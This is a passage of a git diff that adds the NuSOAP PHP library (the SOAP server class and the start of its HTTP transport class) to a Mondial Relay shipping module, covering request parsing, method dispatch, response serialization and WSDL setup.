wsdl from ' . $wsdl); + $this->wsdl = new wsdl($wsdl); + $this->externalWSDLURL = $wsdl; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($err = $this->wsdl->getError()){ + die('WSDL ERROR: '.$err); + } + } + } + + /** + * processes request and returns response + * + * @param string $data usually is the value of $HTTP_RAW_POST_DATA + * @access public + */ + function service($data){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER['REQUEST_METHOD'])) { + $rm = $_SERVER['REQUEST_METHOD']; + } elseif (isset($HTTP_SERVER_VARS['REQUEST_METHOD'])) { + $rm = $HTTP_SERVER_VARS['REQUEST_METHOD']; + } else { + $rm = ''; + } + + if (isset($_SERVER['QUERY_STRING'])) { + $qs = $_SERVER['QUERY_STRING']; + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = $HTTP_SERVER_VARS['QUERY_STRING']; + } else { + $qs = ''; + } + $this->debug("In service, request method=$rm query string=$qs strlen(\$data)=" . strlen($data)); + + if ($rm == 'POST') { + $this->debug("In service, invoke the request"); + $this->parse_request($data); + if (! $this->fault) { + $this->invoke_method(); + } + if (! $this->fault) { + $this->serialize_return(); + } + $this->send_response(); + } elseif (preg_match('/wsdl/', $qs) ){ + $this->debug("In service, this is a request for WSDL"); + if ($this->externalWSDLURL){ + if (strpos($this->externalWSDLURL, "http://") !== false) { // assume URL + $this->debug("In service, re-direct for WSDL"); + header('Location: '.$this->externalWSDLURL); + } else { // assume file + $this->debug("In service, use file passthru for WSDL"); + header("Content-Type: text/xml\r\n"); + $pos = strpos($this->externalWSDLURL, "file://"); + if ($pos === false) { + $filename = $this->externalWSDLURL; + } else { + $filename = substr($this->externalWSDLURL, $pos + 7); + } + $fp = fopen($this->externalWSDLURL, 'r'); + fpassthru($fp); + } + } elseif ($this->wsdl) { + $this->debug("In service, serialize WSDL"); + header("Content-Type: text/xml; charset=ISO-8859-1\r\n"); + print $this->wsdl->serialize($this->debug_flag); + if ($this->debug_flag) { + $this->debug('wsdl:'); + $this->appendDebug($this->varDump($this->wsdl)); + print $this->getDebugAsXMLComment(); + } + } else { + $this->debug("In service, there is no WSDL"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide WSDL"; + } + } elseif ($this->wsdl) { + $this->debug("In service, return Web description"); + print $this->wsdl->webDescription(); + } else { + $this->debug("In service, no Web description"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide a Web description"; + } + } + + /** + * parses HTTP request headers. + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * + * @access private + */ + function parse_http_headers() { + global $HTTP_SERVER_VARS; + + $this->request = ''; + $this->SOAPAction = ''; + if(function_exists('getallheaders')){ + $this->debug("In parse_http_headers, use getallheaders"); + $headers = getallheaders(); + foreach($headers as $k=>$v){ + $k = strtolower($k); + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + // get SOAPAction header + if(isset($this->headers['soapaction'])){ + $this->SOAPAction = str_replace('"','',$this->headers['soapaction']); + } + // get the character encoding of the incoming request + if(isset($this->headers['content-type']) && strpos($this->headers['content-type'],'=')){ + $enc = str_replace('"','',substr(strstr($this->headers["content-type"],'='),1)); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } elseif(isset($_SERVER) && is_array($_SERVER)){ + $this->debug("In parse_http_headers, use _SERVER"); + foreach ($_SERVER as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } elseif (is_array($HTTP_SERVER_VARS)) { + $this->debug("In parse_http_headers, use HTTP_SERVER_VARS"); + foreach ($HTTP_SERVER_VARS as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); $k = strtolower(substr($k, 5)); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); $k = strtolower($k); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } else { + $this->debug("In parse_http_headers, HTTP headers not accessible"); + $this->setError("HTTP headers not accessible"); + } + } + + /** + * parses a request + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * request + * requestSOAP + * methodURI + * methodname + * methodparams + * requestHeaders + * document + * + * This sets the fault field on error + * + * @param string $data XML string + * @access private + */ + function parse_request($data='') { + $this->debug('entering parse_request()'); + $this->parse_http_headers(); + $this->debug('got character encoding: '.$this->xml_encoding); + // uncompress if necessary + if (isset($this->headers['content-encoding']) && $this->headers['content-encoding'] != '') { + $this->debug('got content encoding: ' . $this->headers['content-encoding']); + if ($this->headers['content-encoding'] == 'deflate' || $this->headers['content-encoding'] == 'gzip') { + // if decoding works, use it. else assume data wasn't gzencoded + if (function_exists('gzuncompress')) { + if ($this->headers['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) { + $data = $degzdata; + } elseif ($this->headers['content-encoding'] == 'gzip' && $degzdata = gzinflate(substr($data, 10))) { + $data = $degzdata; + } else { + $this->fault('SOAP-ENV:Client', 'Errors occurred when trying to decode the data'); + return; + } + } else { + $this->fault('SOAP-ENV:Client', 'This Server does not support compressed data'); + return; + } + } + } + $this->request .= "\r\n".$data; + $data = $this->parseRequest($this->headers, $data); + $this->requestSOAP = $data; + $this->debug('leaving parse_request'); + } + + /** + * invokes a PHP function for the requested SOAP method + * + * The following fields are set by this function (when successful) + * + * methodreturn + * + * Note that the PHP function that is called may also set the following + * fields to affect the response sent to the client + * + * responseHeaders + * outgoing_headers + * + * This sets the fault field on error + * + * @access private + */ + function invoke_method() { + $this->debug('in invoke_method, methodname=' . $this->methodname . ' methodURI=' . $this->methodURI . ' SOAPAction=' . $this->SOAPAction); + + // + // if you are debugging in this area of the code, your service uses a class to implement methods, + // you use SOAP RPC, and the client is .NET, please be aware of the following... + // when the .NET wsdl.exe utility generates a proxy, it will remove the '.' or '..' from the + // method name. that is fine for naming the .NET methods. it is not fine for properly constructing + // the XML request and reading the XML response. you need to add the RequestElementName and + // ResponseElementName to the System.Web.Services.Protocols.SoapRpcMethodAttribute that wsdl.exe + // generates for the method. these parameters are used to specify the correct XML element names + // for .NET to use, i.e. the names with the '.' in them. + // + $orig_methodname = $this->methodname; + if ($this->wsdl) { + if ($this->opData = $this->wsdl->getOperationData($this->methodname)) { + $this->debug('in invoke_method, found WSDL operation=' . $this->methodname); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + } elseif ($this->opData = $this->wsdl->getOperationDataForSoapAction($this->SOAPAction)) { + // Note: hopefully this case will only be used for doc/lit, since rpc services should have wrapper element + $this->debug('in invoke_method, found WSDL soapAction=' . $this->SOAPAction . ' for operation=' . $this->opData['name']); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + $this->methodname = $this->opData['name']; + } else { + $this->debug('in invoke_method, no WSDL for operation=' . $this->methodname); + $this->fault('SOAP-ENV:Client', "Operation '" . $this->methodname . "' is not defined in the WSDL for this service"); + return; + } + } else { + $this->debug('in invoke_method, no WSDL to validate method'); + } + + // if a . is present in $this->methodname, we see if there is a class in scope, + // which could be referred to. We will also distinguish between two deliminators, + // to allow methods to be called a the class or an instance + if (strpos($this->methodname, '..') > 0) { + $delim = '..'; + } else if (strpos($this->methodname, '.') > 0) { + $delim = '.'; + } else { + $delim = ''; + } + $this->debug("in invoke_method, delim=$delim"); + + $class = ''; + $method = ''; + if (strlen($delim) > 0 && substr_count($this->methodname, $delim) == 1) { + $try_class = substr($this->methodname, 0, strpos($this->methodname, $delim)); + if (class_exists($try_class)) { + // get the class and method name + $class = $try_class; + $method = substr($this->methodname, strpos($this->methodname, $delim) + strlen($delim)); + $this->debug("in invoke_method, class=$class method=$method delim=$delim"); + } else { + $this->debug("in invoke_method, class=$try_class not found"); + } + } else { + $try_class = ''; + $this->debug("in invoke_method, no class to try"); + } + + // does method exist? + if ($class == '') { + if (!function_exists($this->methodname)) { + $this->debug("in invoke_method, function '$this->methodname' not found!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'('$orig_methodname') not defined in service('$try_class' '$delim')"); + return; + } + } else { + $method_to_compare = (substr(phpversion(), 0, 2) == '4.') ? strtolower($method) : $method; + if (!in_array($method_to_compare, get_class_methods($class))) { + $this->debug("in invoke_method, method '$this->methodname' not found in class '$class'!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'/'$method_to_compare'('$orig_methodname') not defined in service/'$class'('$try_class' '$delim')"); + return; + } + } + + // evaluate message, getting back parameters + // verify that request parameters match the method's signature + if(! $this->verify_method($this->methodname,$this->methodparams)){ + // debug + $this->debug('ERROR: request not verified against method signature'); + $this->result = 'fault: request failed validation against method signature'; + // return fault + $this->fault('SOAP-ENV:Client',"Operation '$this->methodname' not defined in service."); + return; + } + + // if there are parameters to pass + $this->debug('in invoke_method, params:'); + $this->appendDebug($this->varDump($this->methodparams)); + $this->debug("in invoke_method, calling '$this->methodname'"); + if (!function_exists('call_user_func_array')) { + if ($class == '') { + $this->debug('in invoke_method, calling function using eval()'); + $funcCall = "\$this->methodreturn = $this->methodname("; + } else { + if ($delim == '..') { + $this->debug('in invoke_method, calling class method using eval()'); + $funcCall = "\$this->methodreturn = ".$class."::".$method."("; + } else { + $this->debug('in invoke_method, calling instance method using eval()'); + // generate unique instance name + $instname = "\$inst_".time(); + $funcCall = $instname." = new ".$class."(); "; + $funcCall .= "\$this->methodreturn = ".$instname."->".$method."("; + } + } + if ($this->methodparams) { + foreach ($this->methodparams as $param) { + if (is_array($param) || is_object($param)) { + $this->fault('SOAP-ENV:Client', 'NuSOAP does not handle complexType parameters correctly when using eval; call_user_func_array must be available'); + return; + } + $funcCall .= "\"$param\","; + } + $funcCall = substr($funcCall, 0, -1); + } + $funcCall .= ');'; + $this->debug('in invoke_method, function call: '.$funcCall); + @eval($funcCall); + } else { + if ($class == '') { + $this->debug('in invoke_method, calling function using call_user_func_array()'); + $call_arg = "$this->methodname"; // straight assignment changes $this->methodname to lower case after call_user_func_array() + } elseif ($delim == '..') { + $this->debug('in invoke_method, calling class method using call_user_func_array()'); + $call_arg = array ($class, $method); + } else { + $this->debug('in invoke_method, calling instance method using call_user_func_array()'); + $instance = new $class (); + $call_arg = array(&$instance, $method); + } + if (is_array($this->methodparams)) { + $this->methodreturn = call_user_func_array($call_arg, array_values($this->methodparams)); + } else { + $this->methodreturn = call_user_func_array($call_arg, array()); + } + } + $this->debug('in invoke_method, methodreturn:'); + $this->appendDebug($this->varDump($this->methodreturn)); + $this->debug("in invoke_method, called method $this->methodname, received data of type ".gettype($this->methodreturn)); + } + + /** + * serializes the return value from a PHP function into a full SOAP Envelope + * + * The following fields are set by this function (when successful) + * + * responseSOAP + * + * This sets the fault field on error + * + * @access private + */ + function serialize_return() { + $this->debug('Entering serialize_return methodname: ' . $this->methodname . ' methodURI: ' . $this->methodURI); + // if fault + if (isset($this->methodreturn) && is_object($this->methodreturn) && ((get_class($this->methodreturn) == 'soap_fault') || (get_class($this->methodreturn) == 'nusoap_fault'))) { + $this->debug('got a fault object from method'); + $this->fault = $this->methodreturn; + return; + } elseif ($this->methodreturnisliteralxml) { + $return_val = $this->methodreturn; + // returned value(s) + } else { + $this->debug('got a(n) '.gettype($this->methodreturn).' from method'); + $this->debug('serializing return value'); + if($this->wsdl){ + if (sizeof($this->opData['output']['parts']) > 1) { + $this->debug('more than one output part, so use the method return unchanged'); + $opParams = $this->methodreturn; + } elseif (sizeof($this->opData['output']['parts']) == 1) { + $this->debug('exactly one output part, so wrap the method return in a simple array'); + // TODO: verify that it is not already wrapped! + //foreach ($this->opData['output']['parts'] as $name => $type) { + // $this->debug('wrap in element named ' . $name); + //} + $opParams = array($this->methodreturn); + } + $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams); + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($errstr = $this->wsdl->getError()){ + $this->debug('got wsdl error: '.$errstr); + $this->fault('SOAP-ENV:Server', 'unable to serialize result'); + return; + } + } else { + if (isset($this->methodreturn)) { + $return_val = $this->serialize_val($this->methodreturn, 'return'); + } else { + $return_val = ''; + $this->debug('in absence of WSDL, assume void return for backward compatibility'); + } + } + } + $this->debug('return value:'); + $this->appendDebug($this->varDump($return_val)); + + $this->debug('serializing response'); + if ($this->wsdl) { + $this->debug('have WSDL for serialization: style is ' . $this->opData['style']); + if ($this->opData['style'] == 'rpc') { + $this->debug('style is rpc for serialization: use is ' . $this->opData['output']['use']); + if ($this->opData['output']['use'] == 'literal') { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } else { + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } + } else { + $this->debug('style is not rpc for serialization: assume document'); + $payload = $return_val; + } + } else { + $this->debug('do not have WSDL for serialization: assume rpc/encoded'); + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } + $this->result = 'successful'; + if($this->wsdl){ + //if($this->debug_flag){ + $this->appendDebug($this->wsdl->getDebug()); + // } + if (isset($this->opData['output']['encodingStyle'])) { + $encodingStyle = $this->opData['output']['encodingStyle']; + } else { + $encodingStyle = ''; + } + // Added: In case we use a WSDL, return a serialized env. WITH the usedNamespaces. + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders,$this->wsdl->usedNamespaces,$this->opData['style'],$this->opData['output']['use'],$encodingStyle); + } else { + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders); + } + $this->debug("Leaving serialize_return"); + } + + /** + * sends an HTTP response + * + * The following fields are set by this function (when successful) + * + * outgoing_headers + * response + * + * @access private + */ + function send_response() { + $this->debug('Enter send_response'); + if ($this->fault) { + $payload = $this->fault->serialize(); + $this->outgoing_headers[] = "HTTP/1.0 500 Internal Server Error"; + $this->outgoing_headers[] = "Status: 500 Internal Server Error"; + } else { + $payload = $this->responseSOAP; + // Some combinations of PHP+Web server allow the Status + // to come through as a header. Since OK is the default + // just do nothing. + // $this->outgoing_headers[] = "HTTP/1.0 200 OK"; + // $this->outgoing_headers[] = "Status: 200 OK"; + } + // add debug data if in debug mode + if(isset($this->debug_flag) && $this->debug_flag){ + $payload .= $this->getDebugAsXMLComment(); + } + $this->outgoing_headers[] = "Server: $this->title Server v$this->version"; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $this->outgoing_headers[] = "X-SOAP-Server: $this->title/$this->version (".$rev[1].")"; + // Let the Web server decide about this + //$this->outgoing_headers[] = "Connection: Close\r\n"; + $payload = $this->getHTTPBody($payload); + $type = $this->getHTTPContentType(); + $charset = $this->getHTTPContentTypeCharset(); + $this->outgoing_headers[] = "Content-Type: $type" . ($charset ? '; charset=' . $charset : ''); + //begin code to compress payload - by John + // NOTE: there is no way to know whether the Web server will also compress + // this data. + if (strlen($payload) > 1024 && isset($this->headers) && isset($this->headers['accept-encoding'])) { + if (strstr($this->headers['accept-encoding'], 'gzip')) { + if (function_exists('gzencode')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: gzip"; + $payload = gzencode($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } elseif (strstr($this->headers['accept-encoding'], 'deflate')) { + // Note: MSIE requires gzdeflate output (no Zlib header and checksum), + // instead of gzcompress output, + // which conflicts with HTTP 1.1 spec (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5) + if (function_exists('gzdeflate')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: deflate"; + $payload = gzdeflate($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } + } + //end code + $this->outgoing_headers[] = "Content-Length: ".strlen($payload); + reset($this->outgoing_headers); + foreach($this->outgoing_headers as $hdr){ + header($hdr, false); + } + print $payload; + $this->response = join("\r\n",$this->outgoing_headers)."\r\n\r\n".$payload; + } + + /** + * takes the value that was created by parsing the request + * and compares to the method's signature, if available. + * + * @param string $operation The operation to be invoked + * @param array $request The array of parameter values + * @return boolean Whether the operation was found + * @access private + */ + function verify_method($operation,$request){ + if(isset($this->wsdl) && is_object($this->wsdl)){ + if($this->wsdl->getOperationData($operation)){ + return true; + } + } elseif(isset($this->operations[$operation])){ + return true; + } + return false; + } + + /** + * processes SOAP message received from client + * + * @param array $headers The HTTP headers + * @param string $data unprocessed request data from client + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseRequest($headers, $data) { + $this->debug('Entering parseRequest() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Request not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Request not of type text/xml'); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + // parse response, get soap parser obj + $parser = new nusoap_parser($data,$this->xml_encoding,'',$this->decode_utf8); + // parser debug + $this->debug("parser debug: \n".$parser->getDebug()); + // if fault occurred during message parsing + if($err = $parser->getError()){ + $this->result = 'fault: error in msg parsing: '.$err; + $this->fault('SOAP-ENV:Client',"error in msg parsing:\n".$err); + // else successfully parsed request into soapval object + } else { + // get/set methodname + $this->methodURI = $parser->root_struct_namespace; + $this->methodname = $parser->root_struct_name; + $this->debug('methodname: '.$this->methodname.' methodURI: '.$this->methodURI); + $this->debug('calling parser->get_soapbody()'); + $this->methodparams = $parser->get_soapbody(); + // get SOAP headers + $this->requestHeaders = $parser->getHeaders(); + // get SOAP Header + $this->requestHeader = $parser->get_soapheader(); + // add document for doclit support + $this->document = $parser->document; + } + } + + /** + * gets the HTTP body for the current response. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current response. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current response. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current response. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current response. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /** + * add a method to the dispatch map (this has been replaced by the register method) + * + * @param string $methodname + * @param string $in array of input values + * @param string $out array of output values + * @access public + * @deprecated + */ + function add_to_map($methodname,$in,$out){ + $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out); + } + + /** + * register a service function with the server + * + * @param string $name the name of the PHP function, class.method or class..method + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param mixed $namespace the element namespace for the method or false + * @param mixed $soapaction the soapaction for the method or false + * @param mixed $style optional (rpc|document) or false Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param mixed $use optional (encoded|literal) or false + * @param string $documentation optional Description to include in WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function register($name,$in=array(),$out=array(),$namespace=false,$soapaction=false,$style=false,$use=false,$documentation='',$encodingStyle=''){ + global $HTTP_SERVER_VARS; + + if($this->externalWSDLURL){ + die('You cannot bind to an external WSDL file, and register methods outside of it! Please choose either WSDL or no WSDL.'); + } + if (! $name) { + die('You must specify a name when you register an operation'); + } + if (!is_array($in)) { + die('You must provide an array for operation inputs'); + } + if (!is_array($out)) { + die('You must provide an array for operation outputs'); + } + if(false == $namespace) { + } + if(false == $soapaction) { + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $soapaction = "$SCHEME://$SERVER_NAME$SCRIPT_NAME/$name"; + } + if(false == $style) { + $style = "rpc"; + } + if(false == $use) { + $use = "encoded"; + } + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + $this->operations[$name] = array( + 'name' => $name, + 'in' => $in, + 'out' => $out, + 'namespace' => $namespace, + 'soapaction' => $soapaction, + 'style' => $style); + if($this->wsdl){ + $this->wsdl->addOperation($name,$in,$out,$namespace,$soapaction,$style,$use,$documentation,$encodingStyle); + } + return true; + } + + /** + * Specify a fault to be returned to the client. + * This also acts as a flag to the server that a fault has occurred. + * + * @param string $faultcode + * @param string $faultstring + * @param string $faultactor + * @param string $faultdetail + * @access public + */ + function fault($faultcode,$faultstring,$faultactor='',$faultdetail=''){ + if ($faultdetail == '' && $this->debug_flag) { + $faultdetail = $this->getDebug(); + } + $this->fault = new nusoap_fault($faultcode,$faultactor,$faultstring,$faultdetail); + $this->fault->soap_defencoding = $this->soap_defencoding; + } + + /** + * Sets up wsdl object. + * Acts as a flag to enable internal WSDL generation + * + * @param string $serviceName, name of the service + * @param mixed $namespace optional 'tns' service namespace or false + * @param mixed $endpoint optional URL of service endpoint or false + * @param string $style optional (rpc|document) WSDL style (also specified by operation) + * @param string $transport optional SOAP transport + * @param mixed $schemaTargetNamespace optional 'types' targetNamespace for service schema or false + */ + function configureWSDL($serviceName,$namespace = false,$endpoint = false,$style='rpc', $transport = 'http://schemas.xmlsoap.org/soap/http', $schemaTargetNamespace = false) + { + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SERVER_PORT = $_SERVER['SERVER_PORT']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SERVER_PORT = $HTTP_SERVER_VARS['SERVER_PORT']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + // If server name has port number attached then strip it (else port number gets duplicated in WSDL output) (occurred using lighttpd and FastCGI) + $colon = strpos($SERVER_NAME,":"); + if ($colon) { + $SERVER_NAME = substr($SERVER_NAME, 0, $colon); + } + if ($SERVER_PORT == 80) { + $SERVER_PORT = ''; + } else { + $SERVER_PORT = ':' . $SERVER_PORT; + } + if(false == $namespace) { + $namespace = "http://$SERVER_NAME/soap/$serviceName"; + } + + if(false == $endpoint) { + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $endpoint = "$SCHEME://$SERVER_NAME$SERVER_PORT$SCRIPT_NAME"; + } + + if(false == $schemaTargetNamespace) { + $schemaTargetNamespace = $namespace; + } + + $this->wsdl = new wsdl; + $this->wsdl->serviceName = $serviceName; + $this->wsdl->endpoint = $endpoint; + $this->wsdl->namespaces['tns'] = $namespace; + $this->wsdl->namespaces['soap'] = 'http://schemas.xmlsoap.org/wsdl/soap/'; + $this->wsdl->namespaces['wsdl'] = 'http://schemas.xmlsoap.org/wsdl/'; + if ($schemaTargetNamespace != $namespace) { + $this->wsdl->namespaces['types'] = $schemaTargetNamespace; + } + $this->wsdl->schemas[$schemaTargetNamespace][0] = new nusoap_xmlschema('', '', $this->wsdl->namespaces); + if ($style == 'document') { + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaInfo['elementFormDefault'] = 'qualified'; + } + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaTargetNamespace = $schemaTargetNamespace; + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/soap/encoding/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/wsdl/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->bindings[$serviceName.'Binding'] = array( + 'name'=>$serviceName.'Binding', + 'style'=>$style, + 'transport'=>$transport, + 'portType'=>$serviceName.'PortType'); + $this->wsdl->ports[$serviceName.'Port'] = array( + 'binding'=>$serviceName.'Binding', + 'location'=>$endpoint, + 'bindingType'=>'http://schemas.xmlsoap.org/wsdl/soap/'); + } +} + +/** + * Backward compatibility + */ +class soap_server extends nusoap_server { +} + + diff --git a/modules/mondialrelay2/lib/nusoap/class.soap_transport_http.php b/modules/mondialrelay2/lib/nusoap/class.soap_transport_http.php new file mode 100755 index 0000000..1c64d74 --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.soap_transport_http.php @@ -0,0 +1,1306 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class soap_transport_http extends nusoap_base { + + var $url = ''; + var $uri = ''; + var $digest_uri = ''; + var $scheme = ''; + var $host = ''; + var $port = ''; + var $path = ''; + var $request_method = 'POST'; + var $protocol_version = '1.0'; + var $encoding = ''; + var $outgoing_headers = array(); + var $incoming_headers = array(); + var $incoming_cookies = array(); + var $outgoing_payload = ''; + var $incoming_payload = ''; + var $response_status_line; // HTTP response status line + var $useSOAPAction = true; + var $persistentConnection = false; + var $ch = false; // cURL handle + var $ch_options = array(); // cURL custom options + var $use_curl = false; // force cURL use + var $proxy = null; // proxy information (associative array) + var $username = ''; + var $password = ''; + var $authtype = ''; + var $digestRequest = array(); + var $certRequest = array(); // keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional) + // cainfofile: certificate authority file, e.g. 